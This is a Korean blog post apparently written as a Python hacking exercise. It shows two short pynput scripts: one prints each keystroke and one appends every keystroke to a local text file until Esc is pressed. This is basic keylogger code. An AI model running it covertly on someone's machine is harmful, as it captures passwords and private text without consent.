Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- Los
- 화학물질
- 화학물질안전원
- 국정원
- 연구모임
- 웹 해킹 입문
- 대외활동
- HTML
- Service
- webhacking
- 프로젝트
- 기타정보
- nurisec
- 여행
- 국가정보원
- 도구모음
- PHP
- 불법유통근절
- 불법유통
- 파이썬
- codeup
- 국가기록원
- 경기팀
- MITRE ATT&CK
- UKPT level
- 12기
- UKPT
- 화학물질불법유통온라인감시단
- 정보보안
- suninatas
Archives
- Today
- Total
agencies
파이썬 키보드 후킹 본문
from pynput import keyboard
def on_press(key):
try:
print(f'{key.char}')
except AttributeError:
# 특수 키 처리
print(f'{key}')
def on_release(key):
if key == keyboard.Key.esc:
# 리스너 중단
return False
# 키 이벤트가 발생할 때까지 이벤트를 수집
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
실행화면
메모장에 저장하는 소스코드
from pynput import keyboard
f = open("write.txt","a")
def on_press(key):
try:
f.write(f'{key.char}')
except AttributeError:
# 특수 키 처리
f.write(f'{key}')
def on_release(key):
if key == keyboard.Key.esc:
# 리스너 중단
f.close()
return False
# 키 이벤트가 발생할 때까지 이벤트를 수집
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
'Ⅰ. 프로그래밍' 카테고리의 다른 글
파이썬 프로그래밍 (터틀그래픽) (0) | 2024.01.29 |
---|---|
파이썬 프로그래밍을 통한 ben.exe 프로그램 제작하기 (0) | 2024.01.29 |
파이썬 프로그래밍 (0) | 2024.01.29 |
파이썬 해킹 입문 (해킹기술 및 개요) (0) | 2024.01.29 |
파이썬 MBR 변경 실습 (부팅 불가) (0) | 2024.01.29 |